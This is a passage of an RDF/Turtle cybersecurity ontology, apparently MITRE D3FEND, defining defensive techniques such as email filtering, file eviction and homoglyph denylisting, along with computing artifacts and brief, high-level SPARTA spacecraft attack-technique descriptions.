        d3f:DiskFormatting .

d3f:DisplayAdapter a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Display Adapter" ;
    d3f:definition "A graphics card (also called a display card, video card, display adapter, or graphics adapter) is an expansion card which generates a feed of output images to a display device (such as a computer monitor). Frequently, these are advertised as discrete or dedicated graphics cards, emphasizing the distinction between these and integrated graphics. At the core of both is the graphics processing unit (GPU), which is the main part that does the actual computations, but should not be confused with the video card as a whole, although \"GPU\" is often used to refer to video cards." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Video_card> ;
    rdfs:subClassOf d3f:OutputDevice ;
    skos:altLabel "Display Card",
        "Graphics Adapter",
        "Video Card" .

d3f:DisplayServer a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Display Server" ;
    d3f:definition "A display server or window server is a program whose primary task is to coordinate the input and output of its clients to and from the rest of the operating system, the hardware, and each other. The display server communicates with its clients over the display server protocol, a communications protocol, which can be network-transparent or simply network-capable. The display server is a key component in any graphical user interface, specifically the windowing system." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Display_server> ;
    rdfs:subClassOf d3f:DigitalInformationBearer ;
    skos:altLabel "Window Server" .

d3f:DomainLogicValidation a d3f:DomainLogicValidation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Domain Logic Validation" ;
    d3f:d3fend-id "D3-DLV" ;
    d3f:definition "Validation of variable state in the context of the domain application." ;
    d3f:kb-article """## How it works
Validates the type, value, and/or range of an variable taking into context the current application in the business domain.""" ;
    d3f:kb-reference d3f:Reference-SecurePLCCodingPracticesTop20List ;
    d3f:validates d3f:Subroutine ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:validates ;
            owl:someValuesFrom d3f:Subroutine ],
        d3f:SourceCodeHardening .

d3f:DomainRegistrationTakedown a d3f:DomainRegistrationTakedown,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Domain Registration Takedown" ;
    d3f:d3fend-id "D3-DRT" ;
    d3f:definition "The process of performing a takedown of the attacker's domain registration infrastructure." ;
    d3f:deletes d3f:DomainRegistration ;
    d3f:kb-article """## How it works

Most nameserver hosts and domain name registrars comply with internationally recognised standards and supply their services based on terms and conditions that provide users and organisations protection from abuse and trademark infringement. Performing a WHOIS query on the attacker's domain will provide a contact that can be notified in the case of abuse. Formal takedown processes should be initiated to suspend or disable the normal function of the domain name.

## Considerations

- Takedown notifications should clearly demonstrate (with evidence) that the nameserver or registrars Terms and Conditions have been breached.
- Takedown processes are notoriously slow and sometimes unsuccessful.
- Many government organisations will have takedown processes that should also be followed. They may use this for intelligence to assist other organisations suffering an attack.
- Top level domain registrars will have takedown processes that can be followed, as an escalation path, when the nameserver host and/or registrar have not responded or complied timeously or inline with the TLD expectations.

## Examples of Domain Registration Abuse

Attackers will create infrastructure from which to carry out their operations and this may include registering domain names to be used in the various attacks. Known misuse cases include:

- Registering domain names that are similar to the victim's. This is known as typosquatting or URL hijacking. Legitimate looking mails or URLs could be sent using this domain in phishing campaigns.
- Registring domain names that are used in C2 beacons.""" ;
    d3f:kb-reference d3f:Reference-UnderstandingtheDomainRegistrationBehaviorofSpammers ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:deletes ;
            owl:someValuesFrom d3f:DomainRegistration ],
        d3f:ObjectEviction .

d3f:EX-0001 a owl:Class ;
    rdfs:label "Replay - SPARTA" ;
    d3f:attack-id "EX-0001" ;
    d3f:definition "Replay attacks involve threat actors recording previously recorded data streams and then resending them at a later time. This attack can be used to fingerprint systems, gain elevated privileges, or even cause a denial of service." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0001/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Replay" .

d3f:EX-0005 a owl:Class ;
    rdfs:label "Exploit Hardware/Firmware Corruption - SPARTA" ;
    d3f:attack-id "EX-0005" ;
    d3f:definition "Threat actors can target the underlying hardware and/or firmware using various TTPs that will be dependent on the specific hardware/firmware. Typically, software tools (e.g., antivirus, antimalware, intrusion detection) can protect a system from threat actors attempting to take advantage of those vulnerabilities to inject  malicious code. However, there exist security gaps that cannot be closed by the above-mentioned software tools since they are not stationed on software applications, drivers or the operating system but rather on the hardware itself. Hardware components, like memory modules and caches, can be exploited under specific circumstances thus enabling backdoor access to potential threat actors. In addition to hardware, the firmware itself which often is thought to be software in its own right also provides an attack surface for threat actors. Firmware is programming that's written to a hardware device's non-volatile memory where the content is saved when a hardware device is turned off or loses its external power source. Firmware is written directly onto a piece of hardware during manufacturing and it is used to run on the device and can be thought of as the software that enables hardware to run. In the spacecraft context, firmware and field programmable gate array (FPGA)/application-specific integrated circuit (ASIC) logic/code is considered equivalent to firmware." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0005/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Exploit Hardware/Firmware Corruption" .

d3f:EX-0008 a owl:Class ;
    rdfs:label "Time Synchronized Execution - SPARTA" ;
    d3f:attack-id "EX-0008" ;
    d3f:definition "Threat actors may develop payloads or insert malicious logic to be executed at a specific time." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0008/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Time Synchronized Execution" .

d3f:EX-0013 a owl:Class ;
    rdfs:label "Flooding - SPARTA" ;
    d3f:attack-id "EX-0013" ;
    d3f:definition "Threat actors use flooding attacks to disrupt communications by injecting unexpected noise or messages into a transmission channel. There are several types of attacks that are consistent with this method of exploitation, and they can produce various outcomes. Although, the most prominent of the impacts are denial of service or data corruption. Several elements of the spacecraft may be targeted by jamming and flooding attacks, and depending on the time of the attack, it can have devastating results to the availability of the system." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0013/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Flooding" .

d3f:EX-0017 a owl:Class ;
    rdfs:label "Kinetic Physical Attack - SPARTA" ;
    d3f:attack-id "EX-0017" ;
    d3f:definition """Kinetic physical attacks attempt to damage or destroy space- or land-based space assets. They typically are organized into three categories: direct-ascent, co-orbital, and ground station attacks [beyond the focus of SPARTA at this time]. The nature of these attacks makes them easier to attribute and allow for better confirmation of success on the part of the attacker.*

*https://aerospace.csis.org/aerospace101/counterspace-weapons-101""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0017/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Kinetic Physical Attack" .

d3f:EXF-0003 a owl:Class ;
    rdfs:label "Signal Interception - SPARTA" ;
    d3f:attack-id "EXF-0003" ;
    d3f:definition "Threat actors may seek to capture network communications throughout the ground station and communication channel (i.e. radio frequency, optical) used for uplink and downlink communications" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0003/> ;
    rdfs:subClassOf d3f:SPARTAExfiltrationTechnique ;
    skos:prefLabel "Signal Interception" .

d3f:EXF-0006 a owl:Class ;
    rdfs:label "Modify Communications Configuration - SPARTA" ;
    d3f:attack-id "EXF-0006" ;
    d3f:definition "Threat actors can manipulate communications equipment, modifying the existing software, hardware, or the transponder configuration to exfiltrate data via unintentional channels the mission has no control over." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0006/> ;
    rdfs:subClassOf d3f:SPARTAExfiltrationTechnique ;
    skos:prefLabel "Modify Communications Configuration" .

d3f:EmailFiltering a d3f:EmailFiltering,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Email Filtering" ;
    d3f:d3fend-id "D3-EF" ;
    d3f:definition "Filtering incoming email traffic based on specific criteria." ;
    d3f:filters d3f:Email ;
    d3f:kb-article """## How it works

Mail filters can be implemented to scan inbound email messages at the initial SMTP connection stage to detect and reject email containing spam and malware.

This technique is distinct from d3f:EmailDeletion because it prevents an email from reaching an user's inbox. This technique can also be used for outbound email traffic.

## Considerations
* The effectiveness of mail filters depend on the completeness of the filter policies""" ;
    d3f:kb-reference d3f:Reference-SystemAndMethodForProvidingAnonymousRemailingAndFilteringOfElectronicMail_Nokia ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:Email ],
        d3f:InboundTrafficFiltering .

d3f:EmailRemoval a d3f:EmailRemoval,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Email Removal" ;
    d3f:d3fend-id "D3-ER" ;
    d3f:definition "The email removal technique deletes email files from system storage." ;
    d3f:deletes d3f:Email ;
    d3f:kb-article """## How it works

Email removal is a technique that can be used to prevent a user from executing malware or responding to phishing attempts. Security software or users themselves may detect malicious or suspicious email in a local or remote mail folder email and then employ this technique.

## Considerations

For email that needs to be removed, an infosec organization may choose to take additional follow-up actions (such as blocking the sources or notifying providers), rather than only relying on email deletion.

For the case where users detect likely suspicious email files, the organization should consider implementing a means for reporting these emails to their infosec organization.

Email files may propagate through many storage systems across the an organization's systems over time, so early detection and blocking helps avoid residual, latent stores of malicous email content in the enterprise.""" ;
    d3f:kb-reference d3f:Reference-SystemAndMethodForScanningRemoteServicesToLocateStoredObjectsWithMalware ;
    d3f:may-access d3f:MailServer ;
    d3f:synonym "Email Deletion" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:MailServer ],
        [ a owl:Restriction ;
            owl:onProperty d3f:deletes ;
            owl:someValuesFrom d3f:Email ],
        d3f:FileEviction .

d3f:EquivalenceMatching a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Equivalence Matching" ;
    d3f:d3fend-id "D3A-EM" ;
    d3f:definition "Equivalence matching is matching two values, which may be bound to variables, to see if they are equivalent." ;
    d3f:kb-article """## How it works
Equality is a relationship between two quantities or, more generally two mathematical expressions, asserting that the quantities have the same value, or that the expressions represent the same mathematical object.

Programming languages can have multiple senses of equality that may include, but are not limited to:

- Identity: The objects are identical; often indicated by having values indicating the same logical address.
- Equality: The values of the expessions and properties are equivalent when evaluated; they do not need to have the same logical address.

## References
1. Equality (mathematics). (2023, May 31). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Equality_(mathematics)]
2. Types of Equality. (2007, March 2). In _WikiWikiWeb_. [Link](https://wiki.c2.com/?TypesOfEquality)""" ;
    rdfs:subClassOf d3f:LogicalRules .

d3f:Estimation a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Estimation" ;
    d3f:d3fend-id "D3A-EST" ;
    d3f:definition "Estimation represents ways or a process of learning and determining the population parameter based on the model fitted to the data." ;
    d3f:kb-article """## References
Pennsylvania State University. (n.d.). Statistical Inference and Estimation. [Link](https://online.stat.psu.edu/stat504/lesson/statistical-inference-and-estimation)""" ;
    rdfs:subClassOf d3f:InferentialStatistics .

d3f:EventLogStartEvent a owl:Class ;
    rdfs:label "Event Log Start Event" ;
    d3f:definition "An event where the event logging service is started, enabling the collection and recording of system events." ;
    rdfs:subClassOf d3f:EventLogEvent .

d3f:Exec a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exec" ;
    d3f:executes d3f:ExecutableBinary ;
    rdfs:seeAlso <https://dbpedia.org/page/Exec> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:executes ;
            owl:someValuesFrom d3f:ExecutableBinary ],
        d3f:SystemCall .

d3f:ExternalContentInclusionFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "External Content Inclusion Function" ;
    d3f:accesses d3f:File ;
    d3f:definition "A subroutine which handles a content inclusion directive from an original file. When invoked, the external content is included in the resulting open file." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:File ],
        d3f:Subroutine .

d3f:ExternalControlThing a owl:Class ;
    rdfs:label "External Control Thing" ;
    rdfs:subClassOf d3f:ExternalThing .

d3f:FileCarving a d3f:FileCarving,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Carving" ;
    d3f:analyzes d3f:FileTransferNetworkTraffic ;
    d3f:d3fend-id "D3-FC" ;
    d3f:definition "Identifying and extracting files from network application protocols through the use of network stream reassembly software." ;
    d3f:kb-article """## How it works
Protocol stream reassembly software recreates a directional byte stream by analyzing captured network packets. Once the stream is reassembled pattern matching is applied to determine if it contains a file of interest. Files of interest range from executable, archive, or document file formats. Once the file is captured, it is then processed with standard File Analysis Techniques. Example network protocols include HTTP, SMTP, FTP, HTTP/2, and TLS/HTTP/Dropbox.

## Considerations
- This is an error prone process due to the intricacies of network protocols and network packet capture.  For example reassembly may be done in real-time or streaming fashion, or packets may be written to disk, then bulk processed.  The packets may arrive out of order, with fragmentation, duplicates, or re-transmissions.  The reassembly software must compensate for the imperfect packet stream in order to recreate the well formed file which was transmitted.
- File type identification can be a difficult process which can be exploited by adversaries.""" ;
    d3f:kb-reference d3f:Reference-ComputerWormDefenseSystemAndMethod_FireEyeInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:FileTransferNetworkTraffic ],
        d3f:NetworkTrafficAnalysis .

d3f:FileCreationAnalysis a d3f:FileCreationAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Creation Analysis" ;
    d3f:analyzes d3f:CreateFile ;
    d3f:d3fend-id "D3-FCA" ;
    d3f:definition "Analyzing the properties of file create system call invocations." ;
    d3f:kb-reference d3f:Reference-CAR-2020-09-001%3AScheduledTask-FileAccess_MITRE,
        d3f:Reference-LsassProcessDumpViaProcdump_MITRE ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:CreateFile ],
        d3f:SystemCallAnalysis .

d3f:FileEviction a d3f:FileEviction,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Eviction" ;
    d3f:d3fend-id "D3-FEV" ;
    d3f:definition "File eviction techniques delete files from system storage." ;
    d3f:deletes d3f:File ;
    d3f:kb-article """## How it works

Adversaries may place files or programs into a computer's file system to perform malicious actions. As part of the eviction process, these files and programs should be removed to prevent further compromise or reinfection. Examples of malicious types of files are malware which is directly harmful and content files with the intent to deceive users (e.g., phishing.)

On Windows systems, antivirus (AV) software should be used to safely and permanently remove malicious files. AV software may first quarantine a suspected malicious file, which is the process of moving a file from its original location to a new location and makes changes so that it cannot be executed. Users can then verify that the file is not benign and then permanently delete it.

## Considerations

When it is determined that a file should be removed for security purposes, the organization--or systems implementing an organization's policies--may determine that the file should not simply be deleted from the enterprise's mission systems, but be quarantined to a secure system by an approved mechanism, so as to allow follow-up investigation by security staff.

On Windows systems, deleting a file in File Explorer does not permanently delete a file - it sends it to the Recycle Bin instead. The Recycle Bin must be emptied, or alternative steps must be performed to remove files completely. Even then, in some cases the data may persist in disk, so data shredder tools may be needed to completely wipe a file. Thus, AV tools are recommended.""" ;
    d3f:kb-reference d3f:Reference-HowDoesAntivirusQuarantineWork-SafetyDetectives ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:deletes ;
            owl:someValuesFrom d3f:File ],
        d3f:ObjectEviction .

d3f:FileFooterBlock a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Footer Block" ;
    d3f:definition "A section at the end of a file that contains metadata or control information." ;
    rdfs:subClassOf d3f:FileSection .

d3f:FileHashReputationAnalysis a d3f:FileHashReputationAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Hash Reputation Analysis" ;
    d3f:analyzes d3f:FileHash ;
    d3f:d3fend-id "D3-FHRA" ;
    d3f:definition "Analyzing the reputation of a file hash." ;
    d3f:kb-reference d3f:Reference-Reputation_of_an_entity_associated_with_a_content_item ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:FileHash ],
        d3f:IdentifierReputationAnalysis .

d3f:FileHeaderBlock a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Header Block" ;
    d3f:definition "Headers are sections of a file that organize and provide information about specific sections or components of the file. Typically found at the beginning of a file, they often contain file type identification, version information, and metadata such as size, format, and encoding." ;
    rdfs:subClassOf d3f:FileSection .

d3f:FileMagicBytes a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Magic Bytes" ;
    d3f:definition "A specific type of header signature located at the beginning of a file, used to identify the file format." ;
    rdfs:subClassOf d3f:FileHeaderBlockSignature .

d3f:FileMetadataConsistencyValidation a d3f:FileMetadataConsistencyValidation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Metadata Consistency Validation" ;
    d3f:analyzes d3f:FileContentBlockData,
        d3f:FileMetadata ;
    d3f:d3fend-id "D3-FMCV" ;
    d3f:definition "The process of validating the consistency between a file's metadata and its actual content, ensuring that elements like declared lengths, pointers, and checksums accurately describe the file's content." ;
    d3f:kb-article """## How it works

This technique involves validating the consistency between a file's metadata and its actual content. It checks elements like declared lengths, pointers, and checksums to ensure they accurately describe the file's content. For instance, if a header specifies a content block of 50 bytes, this should be verified, and CRC values should be recalculated and compared.""" ;
    d3f:kb-reference d3f:Reference-GatheringEvidenceModel-DrivenSoftwareEngineeringinAutomatedDigitalForensics ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:FileMetadata ],
        [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:FileContentBlockData ],
        d3f:FileFormatVerification .

d3f:FileSystem a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File System" ;
    d3f:contains d3f:Directory,
        d3f:File,
        d3f:FileSystemLink,
        d3f:FileSystemMetadata ;
    d3f:definition "In computing, a file system or filesystem is used to control how data is stored and retrieved. Without a file system, information placed in a storage medium would be one large body of data with no way to tell where one piece of information stops and the next begins. By separating the data into pieces and giving each piece a name, the information is easily isolated and identified. Taking its name from the way paper-based information systems are named, each group of data is called a \"file\". The structure and logic rules used to manage the groups of information and their names is called a \"file system\"." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/File_system> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Directory ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:File ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:FileSystemMetadata ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:FileSystemLink ],
        d3f:DigitalInformationBearer .

d3f:Firewall a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Firewall" ;
    d3f:definition "In computing, a firewall is a network security system that monitors and controls incoming and outgoing network traffic based on predetermined security rules. A firewall typically establishes a barrier between a trusted internal network and untrusted external network, such as the Internet. Firewalls are often categorized as either network firewalls or host-based firewalls. Network firewalls filter traffic between two or more networks and run on network hardware. Host-based firewalls run on host computers and control network traffic in and out of those machines. This definition refers to network firewalls." ;
    d3f:filters d3f:NetworkTraffic ;
    rdfs:seeAlso <http://dbpedia.org/resource/Firewall_(computing)> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:ComputerNetworkNode ;
    skos:altLabel "Network Firewall" .

d3f:Forecasting a owl:Class ;
    rdfs:label "Forecasting" ;
    rdfs:subClassOf d3f:AnalyticalPurpose .

d3f:GetOpenSockets a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Get Open Sockets" ;
    d3f:enumerates d3f:Pipe ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enumerates ;
            owl:someValuesFrom d3f:Pipe ],
        d3f:SystemCall .

d3f:GetScreenCapture a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Get Screen Capture" ;
    rdfs:subClassOf d3f:SystemCall .

d3f:GetSystemNetworkConfigValue a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Get System Network Config Value" ;
    rdfs:subClassOf d3f:GetSystemConfigValue .

d3f:GetThreadContext a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Get Thread Context" ;
    d3f:queries d3f:Thread ;
    rdfs:seeAlso <https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:queries ;
            owl:someValuesFrom d3f:Thread ],
        d3f:SystemCall .

d3f:GlobalUserAccount a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Global User Account" ;
    d3f:definition "A type of user account in Microsoft Windows (NT) that has a domain-wide scope.defines that user's access to a logical group of network objects (computers, users, devices) that share the same Active Directory databases; that is, a user's access to the domain." ;
    rdfs:seeAlso <https://networkencyclopedia.com/global-user-account> ;
    rdfs:subClassOf d3f:DomainUserAccount .

d3f:Graph-basedClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Graph-based Clustering" ;
    d3f:d3fend-id "D3A-GBC" ;
    d3f:definition "Graph-based Clustering is a form of clustering where data is represented with graphs to identify clusters.  We include Connection-based Clustering in this class." ;
    d3f:kb-article """## References
1. Jagota, A. (13 Dec 2020). Density-based and Graph-based Clustering. towardsdatascience.com. [Link](https://towardsdatascience.com/density-based-and-graph-based-clustering-a1f0d45ff5fb)

1. Connectivity-Based Clustering. Sarang, P. (2023) in Thinking Data Science. The Springer Series in Applied Machine Learning. Springer, Cham. [Link](https://doi.org/10.1007/978-3-031-02363-7_10).""" ;
    d3f:synonym "Connection-based Clustering" ;
    rdfs:subClassOf d3f:ClusterAnalysis .

d3f:GraphicalUserInterface a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Graphical User Interface" ;
    d3f:definition "A graphical user interface (GUI)  is a type of user interface that allows users to interact with electronic devices through graphical icons and visual indicators such as secondary notation, instead of text-based user interfaces, typed command labels or text navigation. GUIs were introduced in reaction to the perceived steep learning curve of command-line interfaces (CLIs), which require commands to be typed on a computer keyboard." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Graphical_user_interface> ;
    rdfs:subClassOf d3f:UserInterface ;
    skos:altLabel "GUI" .

d3f:GraphicsCardFirmware a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Graphics Card Firmware" ;
    d3f:definition "Firmware that is installed on computer graphics card." ;
    rdfs:seeAlso d3f:Firmware ;
    rdfs:subClassOf d3f:PeripheralFirmware ;
    skos:altLabel "Video Card Firmware" .

d3f:HMIApplication a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "HMI Application" ;
    d3f:contains d3f:OTControlFunction ;
    d3f:definition "Application software which runs the main program in an HMI." ;
    d3f:instructs d3f:HMIApplicationProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:OTControlFunction ],
        [ a owl:Restriction ;
            owl:onProperty d3f:instructs ;
            owl:someValuesFrom d3f:HMIApplicationProcess ],
        d3f:ServiceApplication .

d3f:HMIApplicationProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "HMI Application Process" ;
    d3f:definition "The instructions within an HMI defined by user programming to interpret visual (and potentially audio) inputs and define visual (and potentially) audio outputs." ;
    rdfs:subClassOf d3f:Process .

d3f:HTTPEvent a owl:Class ;
    rdfs:label "HTTP Event" ;
    d3f:definition "An event involving the Hypertext Transfer Protocol (HTTP), which operates over TCP to transmit hypermedia documents." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/http_activity> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:WebNetworkTraffic ],
        d3f:ApplicationLayerEvent,
        d3f:TCPEvent .

d3f:HardLink a owl:Class ;
    rdfs:label "Hard Link" ;
    d3f:definition "In computing, a hard link is a directory entry that associates a name with a file on a file system. All directory-based file systems must have at least one hard link giving the original name for each file. The term \"hard link\" is usually only used in file systems that allow more than one hard link for the same file. Multiple hard links -- that is, multiple directory entries to the same file -- are supported by POSIX-compliant and partially POSIX-compliant operating systems, such as Linux, Android, macOS, and also Windows NT4 and later Windows NT operating systems." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Hard_link> ;
    rdfs:subClassOf d3f:FileSystemLink .

d3f:Hardware-basedWriteProtection a d3f:Hardware-basedWriteProtection,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Hardware-based Write Protection" ;
    d3f:d3fend-id "D3-HBWP" ;
    d3f:definition "Physical methods of preventing data from being written to computer storage." ;
    d3f:hardens d3f:SecondaryStorage ;
    d3f:kb-reference d3f:Reference-WhatisHardwareWriteProtect ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:hardens ;
            owl:someValuesFrom d3f:SecondaryStorage ],
        d3f:PlatformHardening .

d3f:HeterogeneousTransferLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Heterogeneous Transfer Learning" ;
    d3f:d3fend-id "D3A-HTL" ;
    d3f:definition "Heterogeneous transfer learning is characterized by the source and target domains having differing feature spaces, but may also be combined with other issues such as differing data distributions and label spaces." ;
    d3f:kb-article """## References
Wang, Q., Mao, K. Z., Wang, B., & Guan, J. (2017). Big data clustering by hybrid optimization algorithm. Journal of Big Data, 4(1), 25. [Link](https://journalofbigdata.springeropen.com/articles/10.1186/s40537-017-0089-0).""" ;
    rdfs:subClassOf d3f:TransferLearning .

d3f:HierarchicalClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Hierarchical Clustering" ;
    d3f:d3fend-id "D3A-HC" ;
    d3f:definition "Hierarchical clustering (also called hierarchical cluster analysis or HCA) is a method of cluster analysis that seeks to build a hierarchy of clusters." ;
    d3f:kb-article """## References
Wikipedia. (2021, August 10). Hierarchical clustering. [Link](https://en.wikipedia.org/wiki/Hierarchical_clustering)
html)""" ;
    rdfs:subClassOf d3f:ClusterAnalysis .

d3f:HierarchicalDomainDenylisting a d3f:HierarchicalDomainDenylisting,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Hierarchical Domain Denylisting" ;
    d3f:d3fend-id "D3-HDDL" ;
    d3f:definition "Blocking the resolution of any subdomain of a specified domain name." ;
    d3f:kb-article """## How it works
This technique is used to block DNS queries from related domains and subdomains that are unauthorized.

Hierarchical domain blacklisting considers the blacklisting of second level domains and additional sub-domains and specific hosts for a given query value. A denylist is maintained that contains DNS names and corresponding subdomains, including wildcards, that should be blocked for a given lookup.

## Considerations
* The denylist of domain names will have to be maintained and will need to be kept up to date
* Other domains that resolve to the domain of interest for blocking (CNAME, etc).
* Denylists should have identified maintenance cycles to ensure lists are not stale.""" ;
    d3f:kb-reference d3f:Reference-UseDNSPolicyForApplyingFiltersOnDNSQueries ;
    d3f:synonym "Hierarchical Domain Blacklisting" ;
    rdfs:subClassOf d3f:ForwardResolutionDomainDenylisting .

d3f:HomoglyphDenylisting a d3f:HomoglyphDenylisting,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Homoglyph Denylisting" ;
    d3f:d3fend-id "D3-HDL" ;
    d3f:definition "Blocking DNS queries that are deceptively similar to legitimate domain names." ;
    d3f:kb-article """## How it works

Homoglyph domain blacklisting considers the domain and subdomain structure of a lookup and compares the named components to blacklisted named components. The blacklisted named components are typically crafted modifications of known good domains, e.g., gooogle.com versus google.com. The blacklisted domains typically resemble trusted domains, but have been altered slightly to deceive users.

The blacklisted named components also include consideration for fonts or Unicode characters that can make certain characters appear very similar (zero vs capital O and the letter l vs the number one). The blacklisted domains under certain fonts will appear to be a trusted domain.

## Considerations
* Maintaining the currency of the list can be a challenge especially with newly registered domain entries.
* Blacklists should have identified maintenance cycles to ensure lists are not stale.""" ;
    d3f:kb-reference d3f:Reference-DetectionOfMaliciousIDNHomoglyphDomains ;
    d3f:synonym "Homoglyph Blacklisting" ;
    rdfs:subClassOf d3f:ForwardResolutionDomainDenylisting .

d3f:Host-basedFirewall a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Host-based Firewall" ;
    d3f:definition "A software firewall which controls network inbound and outbound network traffic to the host computer." ;
    rdfs:subClassOf d3f:SystemSoftware .

d3f:HypothesisTesting a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Hypothesis Testing" ;
    d3f:d3fend-id "D3A-HT" ;
    d3f:definition "A statistical hypothesis test is a method of statistical inference used to decide whether the data at hand sufficiently support a particular hypothesis. Hypothesis testing allows us to make probabilistic statements about population parameters." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Statistical hypothesis testing. [Link](https://en.wikipedia.org/wiki/Statistical_hypothesis_testing)""" ;
    rdfs:subClassOf d3f:InferentialStatistics .

d3f:IA-0004 a owl:Class ;
    rdfs:label "Secondary/Backup Communication Channel - SPARTA" ;
    d3f:attack-id "IA-0004" ;
    d3f:definition "Threat actors may compromise alternative communication pathways which may not be as protected as the primary pathway. Depending on implementation the contingency communication pathways/solutions may lack the same level of security (i.e., physical security, encryption, authentication, etc.) which if forced to use could provide a threat actor an opportunity to launch attacks. Typically these would have to be coupled with other denial of service techniques on the primary pathway to force usage of secondary pathways." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0004/> ;
    rdfs:subClassOf d3f:SPARTAInitialAccessTechnique ;
    skos:prefLabel "Secondary/Backup Communication Channel" .

d3f:IA-0007 a owl:Class ;
    rdfs:label "Compromise Ground System - SPARTA" ;
    d3f:attack-id "IA-0007" ;
